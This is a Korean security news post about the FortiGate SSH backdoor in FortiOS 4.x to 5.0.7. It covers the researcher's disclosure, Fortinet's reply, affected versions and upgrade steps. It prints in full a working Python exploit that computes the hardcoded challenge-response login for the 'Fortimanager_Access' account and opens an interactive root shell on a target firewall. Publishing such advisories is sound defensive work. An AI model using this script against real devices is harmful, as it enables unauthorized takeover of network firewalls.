1월 12일, 트위터의 @esizkur이라는 사용자는 Fortigate에 ssh백도어가 존재하며, FortiOS v 4.0 ~ v 5.0.7 이 영향을 받는다고 하였습니다.
공격자는 이 백도어를 이용하여 방화벽 제어권한을 획득할 수 있으며, 보안설정도 바꿀 수 있다고 하였습니다.
이러한 주장에 1월 13일, FortiGate는 공식의견을 발표하였는데, 해당부분은 2014년 내부 보안심사때 밝혀진 문제로, 관리프로토콜의 버그로 백도어는 아니라고 말하였습니다. 또한 조사결과 해당 부분이 악의적으로 이용된 부분을 확인할 수 없었다고 말했습니다.
취약점 점검 스크립트
#!/usr/bin/env python
# SSH Backdoor for FortiGate OS Version 4.x up to 5.0.7
# Usage: ./fgt_ssh_backdoor.py <target-ip>
import socket
import select
import sys
import paramiko
from paramiko.py3compat import u
import base64
import hashlib
import termios
import tty
def custom_handler(title, instructions, prompt_list):
n = prompt_list[0][0]
m = hashlib.sha1()
m.update('\x00' * 12)
m.update(n + 'FGTAbc11*xy+Qqz27')
m.update('\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1\x31\x07\xCC\x3F\xA1\x32\x90\x29\xA9\x81\x5B\x70')
h = 'AK1' + base64.b64encode('\x00' * 12 + m.digest())
return [h]
def main():
if len(sys.argv) < 2:
print 'Usage: ' + sys.argv[0] + ' <target-ip>'
exit(-1)
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
client.connect(sys.argv[1], username='', allow_agent=False, look_for_keys=False)
except paramiko.ssh_exception.SSHException:
pass
trans = client.get_transport()
try:
trans.auth_password(username='Fortimanager_Access', password='', event=None, fallback=True)
except paramiko.ssh_exception.AuthenticationException:
pass
trans.auth_interactive(username='Fortimanager_Access', handler=custom_handler)
chan = client.invoke_shell()
oldtty = termios.tcgetattr(sys.stdin)
try:
tty.setraw(sys.stdin.fileno())
tty.setcbreak(sys.stdin.fileno())
chan.settimeout(0.0)
while True:
r, w, e = select.select([chan, sys.stdin], [], [])
if chan in r:
try:
x = u(chan.recv(1024))
if len(x) == 0:
sys.stdout.write('\r\n*** EOF\r\n')
break
sys.stdout.write(x)
sys.stdout.flush()
except socket.timeout:
pass
if sys.stdin in r:
x = sys.stdin.read(1)
if len(x) == 0:
break
chan.send(x)
finally:
termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)
if __name__ == '__main__':
main()
Esizkur은 “FortiOS 백도어는 기본으로 설정되어있는 패스워드를 이용한 것이 아니라, Chanllenge-response 매커니즘을 이용한 것"이라고 말했습니다.
영향받는 시스템
FortiOS 4.3.0-4.3.16
FortiOS 5.0.0-5.0.7
공격자는 해당 취약점을 이용하면 Fortigate의 root권한을 획득할 수 있습니다.
패치방법
현재까지 공식 패치가 나온 것은 없습니다. 다반 상위버전으로 업그레이드를 하면 해당 문제를 해결할 수 있습니다.
FortiOS 4.3 : FortiOS 4.3.17및 그 이상 버전으로 업그레이드
FortiOS 5.0 : FortiOS 5.0.8 및 그 이상 버전으로 업그레이드
참고 :
http://seclists.org/fulldisclosure/2016/Jan/26
https://twitter.com/esizkur/status/686842135501508608
https://www.reddit.com/r/netsec/comments/40lotk/ssh_backdoor_for_fortigate_os_version_4x_up_to/
http://www.fortiguard.com/advisory/fortios-ssh-undocumented-interactive-login-vulnerability
OpenSSH 업데이트 권고! (2) | 2016.01.15 |
---|---|
2단계 인증을 우회하기 위하여 OTP 번호를 훔치는 안드로이드 악성코드 (0) | 2016.01.14 |
연방 수사관, 은행들에 랜섬웨어 증가 건에 대해 경고 (0) | 2016.01.13 |
602Gbps! 역사상 가장 큰 규모의 DDoS 공격 발생 (0) | 2016.01.11 |
안드로이드 기반 스마트 티비들, 악성 앱을 통한 백도어에 공격 받아 (0) | 2016.01.09 |
댓글 영역